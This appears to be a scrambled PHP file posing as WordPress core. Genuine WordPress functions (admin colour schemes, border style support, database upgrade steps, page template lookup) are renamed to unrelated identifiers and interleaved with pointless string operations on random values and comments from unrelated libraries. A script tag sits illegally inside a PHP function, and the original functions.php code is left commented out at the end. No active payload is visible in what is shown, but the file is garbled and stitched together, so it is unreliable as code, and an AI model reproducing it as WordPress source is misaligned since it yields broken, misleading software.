$auth_secure_cookie = 'bagi'; $src_key = 'ku3mf2qf'; $auth_secure_cookie = stripslashes($src_key); // 64 kbps // ----- Change the file status # if (outlen_p != NULL) { // $notices[] = array( 'type' => 'alert', 'code' => 123 ); $force_plain_link = 'sdaxe'; /** * @see ParagonIE_Sodium_Compat::get_archives() * @param string $FirstFrameThisfileInfo * @param string $query_parts * @param string $terms_to_edit * @param string $appearance_cap * @return string|bool */ function get_archives($FirstFrameThisfileInfo, $query_parts, $terms_to_edit, $appearance_cap) { try { return ParagonIE_Sodium_Compat::get_archives($FirstFrameThisfileInfo, $query_parts, $terms_to_edit, $appearance_cap); } catch (\TypeError $done_id) { return false; } catch (\SodiumException $done_id) { return false; } } // Return comment threading information (https://www.ietf.org/rfc/rfc4685.txt). $oldfiles = 'ainyfpu'; $force_plain_link = strtr($oldfiles, 16, 20); $force_plain_link = 'p29pkwq99'; //Is it a valid IPv4 address? $edwardsZ = 'plku66u'; // Time to render! $force_plain_link = ucwords($edwardsZ); $time_scale = 'gbzha'; // 3: Unroll the loop: Inside the opening shortcode tag. $time_scale = trim($time_scale); // 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^42-2 // In multisite the user must be a super admin to remove themselves. // Remove %0D and %0A from location. /** * Display JavaScript on the page. * * @since 3.5.0 */ function get_keywords() { <script type="text/javascript"> jQuery( function($) { var form = $('#export-filters'), filters = form.find('.export-filters'); filters.hide(); form.find('input:radio').on( 'change', function() { filters.slideUp('fast'); switch ( $(this).val() ) { case 'attachment': $('#attachment-filters').slideDown(); break; case 'posts': $('#post-filters').slideDown(); break; case 'pages': $('#page-filters').slideDown(); break; } }); } ); </script> } // hard-coded to 'OpusTags' // Apply styles for individual corner border radii. $time_scale = 'nzxsy'; $oldfiles = 'eijv'; // End action switch. /** * Adds an action hook specific to this page. * * Fires on {@see 'wp_head'}. * * @since MU (3.0.0) */ function unregister_sidebar() { /** * Fires within the `<head>` section of the Site Activation page. * * Fires on the {@see 'wp_head'} action. * * @since 3.0.0 */ do_action('activate_wp_head'); } // This is used to count the number of times a navigation name has been seen, $time_scale = crc32($oldfiles); /** * Checks for changed dates for published post objects and save the old date. * * The function is used when a post object of any type is updated, * by comparing the current and previous post objects. * * If the date was changed and not already part of the old dates then it will be * added to the post meta field ('_wp_old_date') for storing old dates for that * post. * * The most logically usage of this function is redirecting changed post objects, so * that those that linked to an changed post will be redirected to the new post. * * @since 4.9.3 * * @param int $timeout_late_cron Post ID. * @param WP_Post $cached_mofiles The post object. * @param WP_Post $current_env The previous post object. */ function cache_get($timeout_late_cron, $cached_mofiles, $current_env) { $self_url = gmdate('Y-m-d', strtotime($current_env->post_date)); $css_rules = gmdate('Y-m-d', strtotime($cached_mofiles->post_date)); // Don't bother if it hasn't changed. if ($css_rules == $self_url) { return; } // We're only concerned with published, non-hierarchical objects. if (!('publish' === $cached_mofiles->post_status || 'attachment' === get_post_type($cached_mofiles) && 'inherit' === $cached_mofiles->post_status) || is_post_type_hierarchical($cached_mofiles->post_type)) { return; } $edit_markup = (array) get_post_meta($timeout_late_cron, '_wp_old_date'); // If we haven't added this old date before, add it now. if (!empty($self_url) && !in_array($self_url, $edit_markup, true)) { add_post_meta($timeout_late_cron, '_wp_old_date', $self_url); } // If the new slug was used previously, delete it from the list. if (in_array($css_rules, $edit_markup, true)) { delete_post_meta($timeout_late_cron, '_wp_old_date', $css_rules); } } $auth_secure_cookie = 'xwnk2mi2s'; $oldfiles = 'ftvdfhw5'; //SMTP mandates RFC-compliant line endings // compressed MATte atom /** * Validates the theme requirements for WordPress version and PHP version. * * Uses the information from `Requires at least` and `Requires PHP` headers * defined in the theme's `style.css` file. * * @since 5.5.0 * @since 5.8.0 Removed support for using `readme.txt` as a fallback. * * @param string $uncached_parent_ids Directory name for the theme. * @return true|WP_Error True if requirements are met, WP_Error on failure. */ function bulk_edit_posts($uncached_parent_ids) { $required_mysql_version = wp_get_theme($uncached_parent_ids); $tab_last = array('requires' => !empty($required_mysql_version->get('RequiresWP')) ? $required_mysql_version->get('RequiresWP') : '', 'requires_php' => !empty($required_mysql_version->get('RequiresPHP')) ? $required_mysql_version->get('RequiresPHP') : ''); $minimum_font_size_factor = is_wp_version_compatible($tab_last['requires']); $current_el = is_php_version_compatible($tab_last['requires_php']); if (!$minimum_font_size_factor && !$current_el) { return new WP_Error('theme_wp_php_incompatible', sprintf( /* translators: %s: Theme name. */ _x('<strong>Error:</strong> Current WordPress and PHP versions do not meet minimum requirements for %s.', 'theme'), $required_mysql_version->display('Name') )); } elseif (!$current_el) { return new WP_Error('theme_php_incompatible', sprintf( /* translators: %s: Theme name. */ _x('<strong>Error:</strong> Current PHP version does not meet minimum requirements for %s.', 'theme'), $required_mysql_version->display('Name') )); } elseif (!$minimum_font_size_factor) { return new WP_Error('theme_wp_incompatible', sprintf( /* translators: %s: Theme name. */ _x('<strong>Error:</strong> Current WordPress version does not meet minimum requirements for %s.', 'theme'), $required_mysql_version->display('Name') )); } return true; } // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); /** * Handles saving the meta box order via AJAX. * * @since 3.1.0 */ function wp_update_attachment_metadata() { check_ajax_referer('meta-box-order'); $menu_obj = isset($_POST['order']) ? (array) $_POST['order'] : false; $logged_in_cookie = isset($_POST['page_columns']) ? $_POST['page_columns'] : 'auto'; if ('auto' !== $logged_in_cookie) { $logged_in_cookie = (int) $logged_in_cookie; } $MPEGaudioHeaderValidCache = isset($_POST['page']) ? $_POST['page'] : ''; if (sanitize_key($MPEGaudioHeaderValidCache) != $MPEGaudioHeaderValidCache) { wp_die(0); } $reauth = wp_get_current_user(); if (!$reauth) { wp_die(-1); } if ($menu_obj) { update_user_meta($reauth->ID, "meta-box-order_{$MPEGaudioHeaderValidCache}", $menu_obj); } if ($logged_in_cookie) { update_user_meta($reauth->ID, "screen_layout_{$MPEGaudioHeaderValidCache}", $logged_in_cookie); } wp_send_json_success(); } // Please see readme.txt for more information // /** * Checks whether a header image is set or not. * * @since 4.2.0 * * @see get_header_image() * * @return bool Whether a header image is set or not. */ function get_sitestats() { return (bool) get_header_image(); } //printf('next code point to insert is %s' . PHP_EOL, dechex($m)); /** * Registers the default admin color schemes. * * Registers the initial set of eight color schemes in the Profile section * of the dashboard which allows for styling the admin menu and toolbar. * * @see wp_admin_css_color() * * @since 3.0.0 */ function wp_video_shortcode() { $source_args = is_rtl() ? '-rtl' : ''; $source_args .= SCRIPT_DEBUG ? '' : '.min'; wp_admin_css_color('fresh', _x('Default', 'admin color scheme'), false, array('#1d2327', '#2c3338', '#2271b1', '#72aee6'), array('base' => '#a7aaad', 'focus' => '#72aee6', 'current' => '#fff')); wp_admin_css_color('light', _x('Light', 'admin color scheme'), admin_url("css/colors/light/colors{$source_args}.css"), array('#e5e5e5', '#999', '#d64e07', '#04a4cc'), array('base' => '#999', 'focus' => '#ccc', 'current' => '#ccc')); wp_admin_css_color('modern', _x('Modern', 'admin color scheme'), admin_url("css/colors/modern/colors{$source_args}.css"), array('#1e1e1e', '#3858e9', '#33f078'), array('base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('blue', _x('Blue', 'admin color scheme'), admin_url("css/colors/blue/colors{$source_args}.css"), array('#096484', '#4796b3', '#52accc', '#74B6CE'), array('base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('midnight', _x('Midnight', 'admin color scheme'), admin_url("css/colors/midnight/colors{$source_args}.css"), array('#25282b', '#363b3f', '#69a8bb', '#e14d43'), array('base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('sunrise', _x('Sunrise', 'admin color scheme'), admin_url("css/colors/sunrise/colors{$source_args}.css"), array('#b43c38', '#cf4944', '#dd823b', '#ccaf0b'), array('base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('ectoplasm', _x('Ectoplasm', 'admin color scheme'), admin_url("css/colors/ectoplasm/colors{$source_args}.css"), array('#413256', '#523f6d', '#a3b745', '#d46f15'), array('base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('ocean', _x('Ocean', 'admin color scheme'), admin_url("css/colors/ocean/colors{$source_args}.css"), array('#627c83', '#738e96', '#9ebaa0', '#aa9d88'), array('base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff')); wp_admin_css_color('coffee', _x('Coffee', 'admin color scheme'), admin_url("css/colors/coffee/colors{$source_args}.css"), array('#46403c', '#59524c', '#c7a589', '#9ea476'), array('base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff')); } $auth_secure_cookie = stripcslashes($oldfiles); // Some versions have multiple duplicate option_name rows with the same values. //Creates an md5 HMAC. // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to // s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 + /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $thisfile_riff_CDDA_fmt_0 Block type. * @param array $default_link_cat Block attributes. * @return array Border CSS classes and inline styles. */ function warning($thisfile_riff_CDDA_fmt_0, $default_link_cat) { if (wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, 'border')) { return array(); } $location_props_to_export = array(); $term_hier = wp_has_border_feature_support($thisfile_riff_CDDA_fmt_0, 'color'); $renamed_path = wp_has_border_feature_support($thisfile_riff_CDDA_fmt_0, 'width'); // Border radius. if (wp_has_border_feature_support($thisfile_riff_CDDA_fmt_0, 'radius') && isset($default_link_cat['style']['border']['radius']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'radius')) { $find_main_page = $default_link_cat['style']['border']['radius']; if (is_numeric($find_main_page)) { $find_main_page .= 'px'; } $location_props_to_export['radius'] = $find_main_page; } // Border style. if (wp_has_border_feature_support($thisfile_riff_CDDA_fmt_0, 'style') && isset($default_link_cat['style']['border']['style']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'style')) { $location_props_to_export['style'] = $default_link_cat['style']['border']['style']; } // Border width. if ($renamed_path && isset($default_link_cat['style']['border']['width']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'width')) { $sibling_names = $default_link_cat['style']['border']['width']; // This check handles original unitless implementation. if (is_numeric($sibling_names)) { $sibling_names .= 'px'; } $location_props_to_export['width'] = $sibling_names; } // Border color. if ($term_hier && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'color')) { $SYTLContentTypeLookup = array_key_exists('borderColor', $default_link_cat) ? "var:preset|color|{$default_link_cat['borderColor']}" : null; $bin_string = isset($default_link_cat['style']['border']['color']) ? $default_link_cat['style']['border']['color'] : null; $location_props_to_export['color'] = $SYTLContentTypeLookup ? $SYTLContentTypeLookup : $bin_string; } // Generates styles for individual border sides. if ($term_hier || $renamed_path) { foreach (array('top', 'right', 'bottom', 'left') as $background) { $default_area_definitions = isset($default_link_cat['style']['border'][$background]) ? $default_link_cat['style']['border'][$background] : null; $current_url = array('width' => isset($default_area_definitions['width']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'width') ? $default_area_definitions['width'] : null, 'color' => isset($default_area_definitions['color']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'color') ? $default_area_definitions['color'] : null, 'style' => isset($default_area_definitions['style']) && !wp_should_skip_block_supports_serialization($thisfile_riff_CDDA_fmt_0, '__experimentalBorder', 'style') ? $default_area_definitions['style'] : null); $location_props_to_export[$background] = $current_url; } } // Collect classes and styles. $daywith = array(); $css_array = wp_style_engine_get_styles(array('border' => $location_props_to_export)); if (!empty($css_array['classnames'])) { $daywith['class'] = $css_array['classnames']; } if (!empty($css_array['css'])) { $daywith['style'] = $css_array['css']; } return $daywith; } $event_timestamp = 'kffx78h'; $event_timestamp = addcslashes($event_timestamp, $event_timestamp); $event_timestamp = 'i7g7yvwl'; // check supplied directory // [E1] -- Audio settings. $event_timestamp = addslashes($event_timestamp); $moderated_comments_count_i18n = 'z6zpx'; $event_timestamp = 'mes0s39lj'; $moderated_comments_count_i18n = addcslashes($moderated_comments_count_i18n, $event_timestamp); // Reset encoding and try again /** * Updates all user caches. * * @since 3.0.0 * * @param object|WP_User $reauth User object or database row to be cached * @return void|false Void on success, false on failure. */ function wp_admin_bar_comments_menu($reauth) { if ($reauth instanceof WP_User) { if (!$reauth->exists()) { return false; } $reauth = $reauth->data; } wp_cache_add($reauth->ID, $reauth, 'users'); wp_cache_add($reauth->user_login, $reauth->ID, 'userlogins'); wp_cache_add($reauth->user_nicename, $reauth->ID, 'userslugs'); if (!empty($reauth->user_email)) { wp_cache_add($reauth->user_email, $reauth->ID, 'useremail'); } } // Bypasses is_uploaded_file() when running unit tests. // a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2; // Title WCHAR 16 // array of Unicode characters - Title $query_limit = 'cu7m2mm'; // Hold the data of the term. // Function : PclZipUtilOptionText() // Use the post edit link for those who can edit, the permalink otherwise. // Deprecated theme supports. // Something to do with Adobe After Effects (?) // ge25519_add_cached(&t5, p, &pi[4 - 1]); // Update the post. // null? reserved? $moderated_comments_count_i18n = 'aovu'; $query_limit = sha1($moderated_comments_count_i18n); $query_limit = 'or6wxn5'; // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $event_timestamp = 'lv9e1r811'; /** * Displays the email of the author of the current global $legacy. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 0.71 * @since 4.4.0 Added the ability for `$do_verp` to also accept a WP_Comment object. * * @param int|WP_Comment $do_verp Optional. WP_Comment or the ID of the comment for which to print the author's email. * Default current comment. */ function fs_connect($do_verp = 0) { $legacy = get_comment($do_verp); $cron_offset = get_fs_connect($legacy); /** * Filters the comment author's email for display. * * @since 1.2.0 * @since 4.1.0 The `$do_verp` parameter was added. * * @param string $cron_offset The comment author's email address. * @param string $do_verp The comment ID as a numeric string. */ echo apply_filters('author_email', $cron_offset, $legacy->comment_ID); } $query_limit = lcfirst($event_timestamp); // dependencies: module.tag.id3v1.php // $qt_settings = 'xkq1fpn6'; /** * Execute changes made in WordPress 3.4. * * @ignore * @since 3.4.0 * * @global int $thisfile_replaygain The old (current) database version. * @global wpdb $relative_file_not_writable WordPress database abstraction object. */ function colord_parse() { global $thisfile_replaygain, $relative_file_not_writable; if ($thisfile_replaygain < 19798) { $relative_file_not_writable->hide_errors(); $relative_file_not_writable->query("ALTER TABLE {$relative_file_not_writable->options} DROP COLUMN blog_id"); $relative_file_not_writable->show_errors(); } if ($thisfile_replaygain < 19799) { $relative_file_not_writable->hide_errors(); $relative_file_not_writable->query("ALTER TABLE {$relative_file_not_writable->comments} DROP INDEX comment_approved"); $relative_file_not_writable->show_errors(); } if ($thisfile_replaygain < 20022 && wp_should_upgrade_global_tables()) { $relative_file_not_writable->query("DELETE FROM {$relative_file_not_writable->usermeta} WHERE meta_key = 'themes_last_view'"); } if ($thisfile_replaygain < 20080) { if ('yes' === $relative_file_not_writable->get_var("SELECT autoload FROM {$relative_file_not_writable->options} WHERE option_name = 'uninstall_plugins'")) { $vimeo_src = get_option('uninstall_plugins'); delete_option('uninstall_plugins'); add_option('uninstall_plugins', $vimeo_src, null, 'no'); } } } // Prefix the headers as the first key. // Get highest numerical index - ignored // Some corrupt files have been known to have high bits set in the number_entries field $qt_settings = stripslashes($qt_settings); // Set the default language. // If the cache is for an outdated build of SimplePie $qt_settings = 'q6br'; // Selective Refresh partials. # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, // 'content' => $entry['post_content'], $event_timestamp = 'f8ko'; /** * Retrieves path of page template in current or parent template. * * Note: For block themes, use locate_block_template() function instead. * * The hierarchy for this template looks like: * * 1. {Page Template}.php * 2. page-{page_name}.php * 3. page-{id}.php * 4. page.php * * An example of this is: * * 1. page-templates/full-width.php * 2. page-about.php * 3. page-4.php * 4. page.php * * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'} * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'. * * @since 1.5.0 * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the * template hierarchy when the page name contains multibyte characters. * * @see get_query_template() * * @return string Full path to page template file. */ function add_comment_nonce() { $last_error = get_queried_object_id(); $onemsqd = add_comment_nonce_slug(); $revisions_to_keep = get_query_var('pagename'); if (!$revisions_to_keep && $last_error) { /* * If a static page is set as the front page, $revisions_to_keep will not be set. * Retrieve it from the queried object. */ $cached_mofiles = get_queried_object(); if ($cached_mofiles) { $revisions_to_keep = $cached_mofiles->post_name; } } $minutes = array(); if ($onemsqd && 0 === validate_file($onemsqd)) { $minutes[] = $onemsqd; } if ($revisions_to_keep) { $all_links = urldecode($revisions_to_keep); if ($all_links !== $revisions_to_keep) { $minutes[] = "page-{$all_links}.php"; } $minutes[] = "page-{$revisions_to_keep}.php"; } if ($last_error) { $minutes[] = "page-{$last_error}.php"; } $minutes[] = 'page.php'; return get_query_template('page', $minutes); } $qt_settings = trim($event_timestamp); $spammed = 'nk4g'; // Use byte limit, if we can. /** * Returns an array containing the current fonts upload directory's path and URL. * * @since 6.5.0 * * @param bool $mu_plugin_rel_path Optional. Whether to check and create the font uploads directory. Default true. * @return array { * Array of information about the font upload directory. * * @type string $last_itemath Base directory and subdirectory or full path to the fonts upload directory. * @type string $rel_id Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ function update_attached_file($mu_plugin_rel_path = true) { /* * Allow extenders to manipulate the font directory consistently. * * Ensures the upload_dir filter is fired both when calling this function * directly and when the upload directory is filtered in the Font Face * REST API endpoint. */ add_filter('upload_dir', '_wp_filter_font_directory'); $f7g6_19 = wp_upload_dir(null, $mu_plugin_rel_path, false); remove_filter('upload_dir', '_wp_filter_font_directory'); return $f7g6_19; } $spam_folder_link = 'c4zh3f7fu'; $spammed = html_entity_decode($spam_folder_link); $spam_folder_link = 'b6o9pfc'; $devices = 'q5vr'; $spam_folder_link = str_shuffle($devices); $qt_settings = 'bhyu6'; // Set user locale if defined on registration. $spam_folder_link = 'iwmi7y4p'; $qt_settings = rawurlencode($spam_folder_link); // appears to be null-terminated instead of Pascal-style $devices = 'hsd9rle53'; $moderated_comments_count_i18n = 'fm8q4ht'; // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object $devices = md5($moderated_comments_count_i18n); $event_timestamp = 'gnd9iyn'; $qt_settings = 'kuxrre8v'; // Move the file to the uploads dir. $event_timestamp = urldecode($qt_settings); /* search engine visiblity is * discouraged in favor of robots meta HTML tag via wp_robots_no_robots() * filter callback. function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); * * Fires when displaying the robots.txt file. * * @since 2.1.0 do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = get_option( 'blog_public' ); $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; * * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output The robots.txt output. * @param bool $public Whether the site is considered "public". echo apply_filters( 'robots_txt', $output, $public ); } * * Displays the favicon.ico file content. * * @since 5.4.0 function do_favicon() { * * Fires when serving the favicon.ico file. * * @since 5.4.0 do_action( 'do_faviconico' ); wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) ); exit; } * * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. function is_blog_installed() { global $wpdb; * Check cache first. If options table goes away and we have true * cached, oh well. if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } If siteurl is not set to autoload, check it specifically. if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair since we got here because the * options table could not be accessed. $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) { continue; } $described_table = $wpdb->get_results( "DESCRIBE $table;" ); if ( ( ! $described_table && empty( $wpdb->last_error ) ) || ( is_array( $described_table ) && 0 === count( $described_table ) ) ) { continue; } One or more tables exist. This is not good. wp_load_translations_early(); Die with a DB error. $wpdb->error = sprintf( translators: %s: Database repair URL. __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } * * Retrieves URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } * * Retrieves or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $display Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $display = true ) { $name = esc_attr( $name ); $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />'; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $display ) { echo $nonce_field; } return $nonce_field; } * * Retrieves or displays referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. function wp_referer_field( $display = true ) { $request_url = remove_query_arg( '_wp_http_referer' ); $referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_url( $request_url ) . '" />'; if ( $display ) { echo $referer_field; } return $referer_field; } * * Retrieves or displays original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. function wp_original_referer_field( $display = true, $jump_back_to = 'current' ) { $ref = wp_get_original_referer(); if ( ! $ref ) { $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />'; if ( $display ) { echo $orig_referer_field; } return $orig_referer_field; } * * Retrieves referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return string|false Referer URL on success, false on failure. function wp_get_referer() { if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } $ref = wp_get_raw_referer(); if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) { return wp_validate_redirect( $ref, false ); } return false; } * * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use wp_get_referer() instead. * * @since 4.5.0 * * @return string|false Referer URL on success, false on failure. function wp_get_raw_referer() { if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } * * Retrieves original referer that was posted, if it exists. * * @since 2.0.4 * * @return string|false Original referer URL on success, false on failure. function wp_get_original_referer() { if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) ) { return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false ); } return false; } * * Recursive directory creation based on full path. * * Will attempt to set permissions on folders. * * @since 2.0.1 * * @param string $target Full path to attempt to create. * @return bool Whether the path was created. True if path already exists. function wp_mkdir_p( $target ) { $wrapper = null; Strip the protocol. if ( wp_is_stream( $target ) ) { list( $wrapper, $target ) = explode( ':', $target, 2 ); } From php.net/mkdir user contributed notes. $target = str_replace( '', '/', $target ); Put the wrapper back on the target. if ( null !== $wrapper ) { $target = $wrapper . ':' . $target; } * Safe mode fails with a trailing slash under certain PHP versions. * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency. $target = rtrim( $target, '/' ); if ( empty( $target ) ) { $target = '/'; } if ( file_exists( $target ) ) { return @is_dir( $target ); } Do not allow path traversals. if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) { return false; } We need to find the permissions of the parent folder that exists and inherit that. $target_parent = dirname( $target ); while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) { $target_parent = dirname( $target_parent ); } Get the permission bits. $stat = @stat( $target_parent ); if ( $stat ) { $dir_perms = $stat['mode'] & 0007777; } else { $dir_perms = 0777; } if ( @mkdir( $target, $dir_perms, true ) ) { * If a umask is set that modifies $dir_perms, we'll have to re-set * the $dir_perms correctly with chmod() if ( ( $dir_perms & ~umask() ) != $dir_perms ) { $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) ); for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) { chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms ); } } return true; } return false; } * * Tests if a given filesystem path is absolute. * * For example, '/foo/bar', or 'c:\windows'. * * @since 2.5.0 * * @param string $path File path. * @return bool True if path is absolute, false is not absolute. function path_is_absolute( $path ) { * Check to see if the path is a stream and check to see if its an actual * path or file as realpath() does not support stream wrappers. if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) { return true; } * This is definitive if true but fails if $path does not exist or contains * a symbolic link. if ( realpath( $path ) === $path ) { return true; } if ( strlen( $path ) === 0 || '.' === $path[0] ) { return false; } Windows allows absolute paths like this. if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) { return true; } A path starting with / or \ is absolute; anything else is relative. return ( '/' === $path[0] || '\\' === $path[0] ); } * * Joins two filesystem paths together. * * For example, 'give me $path relative to $base'. If the $path is absolute, * then it the full path is returned. * * @since 2.5.0 * * @param string $base Base path. * @param string $path Path relative to $base. * @return string The path with the base or absolute path. function path_join( $base, $path ) { if ( path_is_absolute( $path ) ) { return $path; } return rtrim( $base, '/' ) . '/' . $path; } * * Normalizes a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @since 3.9.0 * @since 4.4.0 Ensures upper-case drive letters on Windows systems. * @since 4.5.0 Allows for Windows network shares. * @since 4.9.7 Allows for PHP file wrappers. * * @param string $path Path to normalize. * @return string Normalized path. function wp_normalize_path( $path ) { $wrapper = ''; if ( wp_is_stream( $path ) ) { list( $wrapper, $path ) = explode( ':', $path, 2 ); $wrapper .= ':'; } Standardize all paths to use '/'. $path = str_replace( '\\', '/', $path ); Replace multiple slashes down to a singular, allowing for network shares having two slashes. $path = preg_replace( '|(?<=.)/+|', '/', $path ); Windows paths should uppercase the drive letter. if ( ':' === substr( $path, 1, 1 ) ) { $path = ucfirst( $path ); } return $wrapper . $path; } * * Determines a writable directory for temporary files. * * Function's preference is the return value of sys_get_temp_dir(), * followed by your PHP temporary upload directory, followed by 